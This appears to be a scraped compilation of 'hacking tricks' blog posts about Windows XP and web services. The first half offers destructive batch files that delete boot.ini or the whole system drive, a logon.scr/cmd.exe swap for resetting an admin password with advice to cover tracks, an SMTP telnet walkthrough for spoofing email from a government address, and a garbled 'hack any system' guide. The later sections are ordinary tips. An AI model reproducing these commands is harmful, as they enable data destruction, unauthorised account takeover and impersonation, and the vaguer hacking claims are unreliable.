01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out urself rest
cant spoonfeed
its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off
Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

Reply With Quote

Access Data of a Password Protected User in Windows XP in Case the PC Fails to Boot

You may come across a situation in which your windows XP PC fails to reboot, and the most accepted solution to that problem is to re-format the Hard Disk. Before formatting, you should backup your files. If your computer is password protected, you won’t be able to access them from outside, so here is a method for getting around this.

Steps :

1. Boot the machine from Windows XP bootable CD.


2. At the setup screen, select R to repair using Recovery Console.


3. Now the console program will prompt you to select the Windows folder (eg. C:\WINDOWS) where the Windows is installed (you need to enter a number from the list of folders shown to you).


4. Type ‘HELP’ (without single quotes) and press enter for available commands. This is like a DOS program, but some features are not available


5. Change the current directory to the user’s directory where you want to backup.


6. Type ‘CD “C:\Documents and Settings\X”‘ (without single quotes) and press enter. Where X is the username.


7. Now the current directory will change to “C:\Documents and Settings\X”.


8. Now change the directory to Desktop by entering ‘CD Desktop’ (without single quotes) and press enter to go to the desktop folder.


9. Type ‘DIR’ (Without single quotes) and press enter, you will be listed all the available files in Desktop.


10. Type ‘COPY a.doc D:\BACKUP’ (without quotes) and press enter, where a.doc is a file available in Desktop and the folder D:\BACKUP available to copy the files.


11. As in step 7,8,9,10 you can backup other folders like “My Documents”, “My Music”, etc.


12. Note that you cannot use wildcards for COPY, i.e. you cannot copy all the files in a folder at once. You must copy one file by one.

Tips :

Before doing this, try changing the password to blank so that you can access the data from another machine to easily drag and drop to copy your data.

Warnings :

Any data not backed up will be permanently deleted when you re-format the hard drive, so make sure you back up any thing you want to keep.

Things You’ll Need :

A Bootable Windows XP CD

Fastest Way to Hack into Others System

Well as I already mentioned you can hack any system which is connected to what we call “The INTERNET”. To connect internet a system allocates a port for communication and Data Transfer. So we got to do is to get into that port that is to be hacked.

Steps: -

1. Download the Software PORT SCANNER from google.


2. Get the IP address of the victim whose port is open.


3. NETLAB which gives u all information includes victim IP address,Area from where he is accessing internet….


4. The IP of victim u found initially into NETLAB .


5. Thats it now you can access his system.

Note : This is really Hardcore Hacking and you should be very much careful while doing all this and you do all this on your own responsibility. This site is never responsible for anything you after reading any article from this site and there are almost 50-50 chances that you may get caught so don’t try this unless you are aware of everthing. Yes you can freak some of your friends by telling them that you can hack their systems very easily.

Good Luck!

Learn how to send your fake email

So, you want to learn how to send your own fake mail? It’s extraordinarily easy to do, and requires no extra software installed on your PC at all. It can be done with Windows, Macintosh, Linux - any modern PC that has an internet connection will do it.

There are a just a few simple steps. First, you’ll need to decide on the FROM and the TO email addresses. If the FROM address that you’re choosing isn’t a real one, make sure that the domain name (the bit after the @ sign) is a real one. If it’s not a real one, it almost certainly won’t work.

For the purpose of this tutorial, we’ll be sending from bush@whitehouse.gov to dummy@anysite.com.

Second, you’ll need to find out the mail server that your recipient is using.

	Click Start, Run, enter “CMD”, then presss OK. In the window that comes up, type nslookup -q=MX anysite.com
	Go to Applications, Utilities, and choose Terminal. In the window that comes up, type nslookup -q=MX anysite.com
	Bring up your favourite shell, and type nslookup -q=MX anysite.com

There will be a lot of information on the screen - all you need to look for is a line that talks about a mail exchanger. If there are several, pick the one with the lowest “preference number”.

anysite.com        MX preference = 10, mail exchanger = mail.anysite.com

Now, you’ll need to connect to this mail exchanger using telnet. This is the same for any PC, but Vista users may not have it installed by default - see this note about getting telnet on Vista before you continue. When you’re ready, type:

telnet mail.anysite.com 25

Press enter, and after a short pause, you should see a welcome message from the server.

Ok, so now you’re connected. You need to enter the following information - press ENTER at each new line. You won’t be able to press backspace to delete a mistake, so you’ll need to type everything correctly first time!

HELO whitehouse.gov

This tells the mail server that we are “whitehouse.gov”.

MAIL FROM:

This tells the server who is sending the mail.

RCPT TO:

This tells the server who to deliver the mail to. At this point, if the recipient doesn’t exist, you may see a warning message (but not always).

DATA

This tells the server that we’re ready to start writing our message. It should acknowledge, telling you to end your message with a full stop (period) on a single line. All we need to do now, is write our message and don’t forget that full stop at the end.

Hello dummy@anysite, I managed to send a fake mail all by myself!.

Dont forget that last dot. When you’ve done that, and pressed enter, simply enter QUIT and your mail should be delivered.

There’s a little bit more to it, of course. You’ll need to enter proper “headers” if you want the mail to look more believable. After doing the DATA command, I’d recommend pasting in the following “headers” to make sure it looks realistic when viewed in Outlook, Hotmail, etc.

Date: Sun, 01 Apr 2007 12:49:13 +0100 (BST)From: George W Bush To: Poor Sod Subject: Fake mail

Hello dummy@anysite, I managed to send a fake mail all by myself!.

And that’s all there is to it.

Hacks to Beat Rapidshare Download Limits and Waiting Time

Many visitors had asked me about bypassing Rapidshare download limits and Wait time so I went through some sites and found some very cool tricks which I have written in this article. If you have got any more tips you just tell me and I will write it in my article.

Rapidshare has been an excellent tool for sharing large files. Recently users have discovered ways of bypassing the download limits and skipping the waiting time. Here are a description of these methods.

Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day. To get around this, you need to show the rapidshare server a different IP address.

Here are some methods for doing this:

1. Short-Out the JavaScript:

1. Goto the page you want to download
2. Select FREE button
3. In the address bar put the following: javascript:alert(c=0)
4. Click OK
5. Click OK to the pop-up box
6. Enter the captcha
7. Download Your File

2. Request a new IP address from your ISP server.

Here’s how to do it in windows:
1. Click Start
2. Click run
3. In the run box type cmd.exe and click OK
4. When the command prompt opens type the following. ENTER after each new line.

ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit



5. Erase your cookies in whatever browser you are using.
6. Try the rapidshare download again.

Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

3. Use a proxy with SwitchProxy and Firefox:

1. Download and install Firefox if you have not already
2. Download and install SwitchProxy
3. Google for free proxies
4. When you hit your download limit, clean your cookies and change your proxy

4. Use an anonymous service:

Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this system. Anonymizer 2005 is inexpensive, easy to use, but not free. Other pay services would likely work as well.

5. You can use a bookmarklet to stop your wait times:

1. Open IE
2. Right Click On This Link
3. Select Add to Favorites
4. Select Yes to the warning that the bookmark may be unsafe.
5. Name it “RapidShare No Wait”
6. Click on the Links folder (if you want to display it in your IE toolbar)
7. Click OK
8. You may need to close and reopen IE to see it
9. Goto rapidshare and click the bookmarklet when you are forced to wait

How to Hack Windows XP Admin Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly :

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt without logging into XP.

Once this happens if you enter this command :

net user password

If the Administrator Account is called Frank and you want the password blah enter this

net user Frank blah

and this changes the password on franks machine to blah and your in.

Have Fun!

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Orkut Hacks

As I’m Orkut user I like these sites and Orkut hacks on it, the following are some of my collection regarding Orkut hacks

1) Zeetab(Orkut Star) - Computer World, Orkut Computer Tips and Tricks, Free Sms, Wallpaper, Mobile Software Game Ringtone Themes, Free games, Orkut Software, Bollywood wallpaper, MP3, FM Rradio and many more

2) Thisisorkut.org (TIO) - This Is Orkut (T.I.O) was created to provide more info and help tracks to Orkut users for their convenience. Easy to use Java Scripts, Online Toolbars, Help References, Trouble shooters, and lot more….

3) CrazySouls.com - Crazy souls have created many orkut scripts and they are really useful and working. Not only scripts they also profide stuffs for MSN, Cheets and many more

4) Trickfriend.com - Here, on this website, you will find tips and tricks that will help in making your life easier on Orkut. This webpage also contains many sftware related to Orkut

5) Tools Home - This site is developed by 15 yr Old boy, this site contains some cool stuffs and software

6) ScrapMania.com - This site provide services like Messages, Generators, ASCII Art, Bar Arts, Images, Emotions, Smailies and many more

7) Orkut Underworld - This is blog which have awesome collection of orkut tips and tricks, softwares and many more. In short simple blog but useful blog

Orkutrix.com - In the world of Orkut tricks! You find only GENUINE and popular orkut tricks and scripts here. Browse through the menu for those tricks but they also provide some hacking tricks of orkut

9) InsideOrkut.com - According to me this is the best of all because this website posts all the current information in orkut, this website is very useful for begineers and also for everyone

10) OrkutPlus! - Orkut plus is really a Plus to Orkut they are providing Best Compilation of Orkut Hacks, Tips-Tricks and Cheat Scripts ! as they are publishing

11) Devils workshop - This blog contains not only tips and tricks for Orkut it also having some best collection for My space, You tube, Google, Ad sense, and many more. More over I like the labels cloud on that blog

12) Digital Me - this blog just started before 2 months but it contains wide range of softwares, Java scripts, GM scripts, etc..

I’m still having many collection of website but this dozen of sites will do all what you want to known about orkut, so it wont be useful even if I provide more, from this website you can communication in orkut reaches next generation

To hide the Blogger NavBar:

To hide the Blogger NavBar:

- Log in to blogger

- On your Dashboard, select Layout . This will take you to the Template tab. Click Edit HTML. Under the Edit Template section you will see you blog’s HTML.

- paste the CSS definition in the top of the template code :

Xp Registry tricks II

This artcle is a continuation to the cool tricks in XP which you can use to freak out your friends but don’t atempt any of them without completly reading the complete article and before doing anything don’t forget to get the back-up of the registry so if anything goes wrong get the old configuration back.

Easy Text Size Change in Help & IE Tip:

I mentioned a way that you can change the size of the text that is display in the Help file and in Internet Explorer. As it turns out if you have a “wheel mouse,” there is an even easier way to change the text size. In Internet Explorer or when viewing a Help file, simply hold the ctrl key while you spin the mouse wheel up to increase text size, or down to decrease text size.
Java VM: Java applets run in Internet Explorer 6 (a component of Windows XP) just as they run in older versions of Internet Explorer. The Java VM is not installed as part of the typical installation, but is installed on demand when a user encounters a page that uses a Java Applet. For more information see the Microsoft Technologies for Java Web site.

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Windows XP Shutdown and Power Off Tip:

On some computers, by default, Windows XP doesn’t power off the computer when you tell it to shut down. However, if your computer is relatively new, it can probably by shut completely off by WinXP. To configure your computer for this behavior, simply open the Control Panel, open Performance and Maintenance, then Power Options. On the APM tab, check next to “Enable Advanced Power Management support,” then click OK. The next time you choose “Shut Down” from the Start Menu, your computer should shut down completely and then power off.

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Customize Explorer Toolbar Tip:

In Windows Explorer, you can customize the toolbar to make Explorer even more handy. The Toolbar is the bar of icons directly underneath the menu bar. It contains icons for going back, up one level, displaying folders or search, etc. You can right-click an open area of this Toolbar and choose Customize to change the order of these icons, and even to add new icons to it. For instance, I like to add the Map Drive and Disconnect buttons. In Windows XP, you may have to unlock the Taskbar before you can make changes in Windows Explorer.
Lock the Taskba - If you find that your Windows XP Taskbar keeps being changed, or moved to one side or the top of your screen, and you didn’t mean to have it do that, this tip is for you. Once you have your Task Bar arranged the way you like it, in the right location on the screen, and with all the right toolbars and icons, you can lock it, so that it won’t get changed accidentally. To lock the Taskbar, simply right click it and choose Properties. In the window that appears, check the box (click) next to “Lock the Taskbar.” Now you won’t accidentally bump the mouse and have your Task bar end up on another side of the screen.

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Check Personal Firewall Status Tip:

In the previous tip, I mention how to turn on Windows XP’s Personal Firewall feature. But once you turn it on, your connection looks just the same as it did before. How can you check the status of the connection and the firewall? Simply open Control Panel from the Start Menu, open Internet and Network Connections, then Network Connections. By default the view is of large icons.
Click the View Menu, and choose “details” in order to reveal several more columns of information about the connections that your computer has. Check the Status column to see if your connection is currently connected, and whether or not it is “firewalled.” You can even drag the column headings around (I like to slide the Status column right next to the Name column. You can even remove entire columns by right-clicking the column heading and unchecking it.

Where does Window’s Product Id get stored Tip:

There are two places at least where ProductId gets stored. To see the first place, open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]. In right pane, look for key by the name “ProductId”. This is your Windows Product Id. Alternatively you can navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] and still find same field with the name ProductId.

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You can Keep Your Favorite Programs on Top of the Start Menu tip:

Do you have a favorite program that you frequently use? Elevate its priority on the Start menu by putting it at the top of the list. This ensures that the program will remain on the Start menu and cannot be bumped by other programs, even if you use the others more frequently.
Right-click the link to your favorite program on the Start menu and select Pin to Start Menu.
Your program will be moved permanently to the top part of the list, just below your browser and e-mail programs.

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Having problems with Outlook Express ? Does it ask for password everytime you connect tip:

If this is problem for you. Sometimes no matter what you do, Outlook Express forgets your password and asks you to enter it again each and every time you connect to your mail server.I have a solution that may work for you. Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_CURRRENT USER\Software\Microsoft and look for “Protected Storage System Provider”. There is a good chance that you will see this folder. If you have it. Simply delete it. More than likely, you have solved your problem.

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How to avoid autoplay of CD ? Way I like best tip.

Hey this time no registry trick even though there are ways in registry to do it. In earlier operating systems only those CD that had autorun.inf file in their root directory were able to execute on its own but with advent of WINDOWS XP it has become possible with just about anything. Well sometimes it is good but there are other times when you want to avoid this part of automation. What would I do. Simply press SHIFT key when you enter a CD in your CD drive. It won’t Auto play. For those of you, who do want a registry hack. Here it is:
Open Registry and navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] and look for key “NoDriveTypeAutoRun” and set its value to 185 (decimal). This would stop autoplay.

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This tip to speed up the Start Menu in Windows XP.

Did you know you can customize the speed of the Start Menu by editing a Registry Key?

1. Click Start, and then click Run.


2. Type Regedit in the box, and then click OK.


3. Expand the menu in the left panel and select the HKEY_CURRENT_USER\Control Panel\Desktop folder.


4. Scroll down in the right panel and double click on the MenuShowDelay file.


5. In the Value Data box, change to default value for the menu speed from 400 to a lesser number, such as 1.


6. Click OK.

Caution: Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you may want to back up any valued data on your computer.

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Customizing Windows Explorer Context menu (right click menu in windows explorer)

Ever wondered how does the right click menu (which is actually a context menu) work ? For example, when I right click in windows explorer, I see an option which says “open command window here”. Do You know why I see this ? Well I see this because I have following entries in my registry.

[HKEY_CLASSES_ROOT\Drive\shell\cmd]
@=”Open Command Window Here”
[HKEY_CLASSES_ROOT\Drive\shell\cmd\command]
@=”C:\WINDOWS\System32\cmd.exe /k cd “%1″”
If You have never used a tweaking utility and have newly installed Windows XP, You would not see this option. You would have to navigate to [[HKEY_CLASSES_ROOT\Drive] go and create two subkeys (”cmd” and within that “command” and would have to put the text “Open Command Window Here” without quotes in default string value of “cmd” key and the text “C:\WINDOWS\System32\cmd.exe /k CD”%1″” without quotes in default string value of command key). After this You need to REBOOT for these changes to take effect.
Trick is in adding similar entries for other applications as well even though its much harder to come with ideas about what to put in the context menu!!!! .

Prevent spam in your Gmail account

Are you worried about spam in your precious gmail account ?

If yes, then you would like to consider making aliases of your gmail id to use when you’re not sure whether you’re signing up for something safe or not.

It is a very simple task to provide an alias of your gmail id. Whenever you sign up on the internet on some site that you think may not be safe (or a site which might send you spam),all you have to do is give out the email address as

username+insertanythingyouwanthere@gmail.com

For example if your email id is james@gmail.com,you can provide james+21@gmail.com or james+test@gmail.com .You can put anything after the + and all email sent will still go to your gmail account.

In the event that you did give your email to a spammer and you start receiving spam, don’t worry! Just create a filter, and make everything that is sent to username+whateveryouputhere@gmail.com go to the trash. This way all the spam that you might get will automatically be deleted.

List of google operators

We use Google in our daily life routine don’t we? But we often do not find the content we require and this is because of our poor searching techniques. At least as far as I am concerned I use Google nearly more than 20 to 30 times daily and without knowing the special search techniques it is almost impossible for me to find the thing that I am searching for.

Here I shall be enlightening my readers with some Google advanced search operators that would help them in using Google search more efficiently and in a fast manner

define : phrase

Shows a list of definition for phrase

cache : http://www.website.com/

Google’s cache for website.com

link : http://www.website.com/

List of web pages that link to website.com

related : http://www.website.com/

List web pages similar to website.com

info : http://www.website.com/

Show the info that Google has about website.com

site : http://www.website.com/

List of all web pages hosted at website.com

allintitle : query

Restrict the results to those with all of the query words in the title

intitle : query

Restrict the results to the documents containing that word in the title

allinurl : query

Restrict the result to those with all of the query words in the URL

inurl : query

Restrict the results to the documents containing that word in the URL

world * warcraft

The words world and warcraft separated by exactly one word

Nokia Phone $100…300

Search withing a range of numbers for a Nokia Phone between $100…300

5 Best Replacements For Windows Notepad

There are many applications in Microsoft Windows that do not come up to my taste and I find them quite boring and dull. Unfortunately the default Windows Notepad is one of them. Though it is one very simple and easy-to-use text editor but still it has very limited functions and is not at all recommended for hardcore users.

5 Best Replacements For Windows Notepad

I have a compiled a list of the 10 best alternatives to your Windows Notepad. These softwares just behave like Notepad in terms of function but all of them have unique extra added features that make them quite elite to Windows Notepad.

1. ProNotepad 2
ProNotepad 2 has some quick tools and tabbed browsing/editing feature.

2. Notepad++
Notepad++ is a free open source text editor that features syntax highlighting, multi-document view and you can even drag and drop files.

3. Notepad 2
Notepad 2 is another substitute for the legendary Windows Notepad. It makes itself unique as it runs out of box without any installation and does not touch your system registry. It also has syntax highlighting.

4. Metapad
Metapad is a sweet Windows Notepad replacement that is small and fast. It has all the features of Microsoft Notepad plus some extra added features.

5. NoteXpad 2.0
NoteXpad 2.0 is a replacement application for Microsoft Windows 5.0 and higher. It features command line open, insert date/time stamp on document and remembers screen position and size.

Its been really long since I introduced any useful web 2.0 service to my readers. Usually I introduce only those web 2.0 services that bring new ideas and concepts but this time I have a web 2.0 site for you that redefines an original concept and brings a service for your benefit and ease.

Convert YouTube Videos Online To any Format

Vconvert brings an amazing web 2.0 service for everyone of us who is a big YouTube fan and likes downloading and watching stuff on YouTube. This service makes our YouTube lives more healthy and easy to manage. Obviously by now you would have got your hands on at least one of those softwares or online services that help you download YouTube videos. This new service works much similar to all those online services except that it also lets you convert YouTube videos online to any possible format.

Download YouTube Videos in .wmv .mov .mp4 etc Formats

This service is brilliant and very easy to use. It lets you convert your YouTube videos to 6 different formats before downloading them to your computer. This way you don’t have to waste your time using those stupid file converters and you can just convert and download videos online without any problem. The 6 different formats allowed are:

Windows (.wmv)
Mac (.mov)
iPod/PSP/iPhone (.mp4)
Mobile (.3gp)
Audio (.mp3)
Flash (.flv)

The audio conversion feature helps you extract audio from your YouTube videos and download it. This way you can consider YouTube as your free source of unlimited online audio music as it has virtually every music video hosted on it.

How To Use This Service

This is also one of those (which I call) Plug and Play online services in which all you need to do is enter the URL and they do the job for you. In this case all you need to enter is the URL of your YouTube Video and it will download the video to the server, convert it and make it available for you to download in your desired format (You may have to wait a minute or two)
I think this service will definitely spice up your YouTube experience. Don’t forget to try it out and share your comments and thoughts

Firefox tricks

You really don’t need to tweak your browser in case you are using Firefox because it is a browser which has been specially designed for optimized and fast browsing but if you can make it even a little more fast that would certainly be a treat for you. Likewise there is a trick to make Internet Explorer 6 fast too. Browsers are designed to work with fast connections but with this trick even dial-up users can experience fast and smooth browsing.

Optimize Firefox and IE Browsing Speed

I shall be teaching you two tricks which work separately on Firefox and Internet Explorer. It doesn’t require you to be some expert rather all you have to do is change some registry values and you are done. I have also included a video tutorial for those who want to see it step by step visually. This is perhaps one of the oldest tricks to optimize Firefox and IE but it still works great.

Trick to Increase Firefox Speed

• Open firefox and in the address bar write about:config and press enter


• Double click network.http.pipelining and set it to True


• Double click network.http.pipelining.maxrequests and set value to 10 from 4


• Right click and create a new string nglayout.initialpaint.delay and set its value to 0

You are done. Enjoy lightning fast Firefox browsing and now for IE.

Trick to Increase Internet Explorer Speed

• Go to Start –> Run and type regedit


• Select HKEY_CURRENT_USER –> Software –> Microsoft –> Windows –> Current Version –> Internet Settings


• Increase the values (DECIMAL) from default to a higher value e.g. 10

See the difference in speed of IE

Don’t forget to apply this tweak and share your thoughts if the magics work and don’t forget to bookmark this post too.

Use Gmail Space as a Hard Drive

Gmail is really famous among users of all the email clients available on the web and that is not because it has a cool interface rather it is famous for its reliability and huge space (3GB now thats something). Google doesn’t stop here and recently Google announced that users can now buy more online storage for Google services just by paying a little amount. So why not use this online storage space and use it externally (Probably as a network drive or one of your own computer hard drives).

Use Google Storage Space as Google Drive

Here I have some great little utilities (3 softwares and 2 web scripts) that you can try to use your Gmail account space as your external hard drive. You will be able to download (or should I say copy) attachments from your Gmail account to your computer just as you would do from a drive on your computer. You can also use this space to upload content direct from your computer and save it online in your Gmail account.

1. GMail Drive

GMail Drive is third party addon for Windows that lets you use your Gmail account space as an extra drive on your computer. It allows a user to access a virtual drive stored in a Gmail e-mail account by causing the contents of the Gmail account to appear as a new network share on the user’s workstation. In order to use this add-on, the user needs a Gmail e-mail account. The add-on enables the user to use the standard Windows desktop file copy and paste commands to transfer files to and from the Gmail account as if it was a drive on the user’s computer.

Download GMail Drive

2. GSpace

GSpace is a firefox extension that turns your 3GB of your Gmail account into free online storage. With Gspace you can manage unlimited Gmail accounts to store all type of files within its simple, user friendly interface. You can also listen your favourite stored music directly from your Gspace, view your collections of pictures and manage your Gdrive files as well.

Download GSpace

3. GmailFS

GmailFS or Gmail File System is a virtual file system developed by Richard Jones which allows users to mount and use their Gmail email account’s storage as a local disk drive. GmailFS is written for Linux, but Windows and Mac OS X ports do exist. Using GmailFS will provide the user with roughly three gigabytes of online storage. The speed of this filesystem is limited by the speed of the user’s Internet connection, and the upload/download speed of the Gmail server. Files can be any size, and are stored as (segmented) attachments.

Download GmailFS

4. G-Share

G-Share is a PHP script that allows you to share your gmail attachments in a webpage, it is a download center with files stored in your Gmail account. You need a MySQL database to store data such as download counters, visitors, etc

Download G-Share

5. PHP Gmail Drive

PhpGmailDrive, also known as PGD, is an open source software program written in PHP to share Gmail file attachments on the web. PGD is based on GmailFS, a Gmail attachment file system that uses email subjects for organization.

Download PGD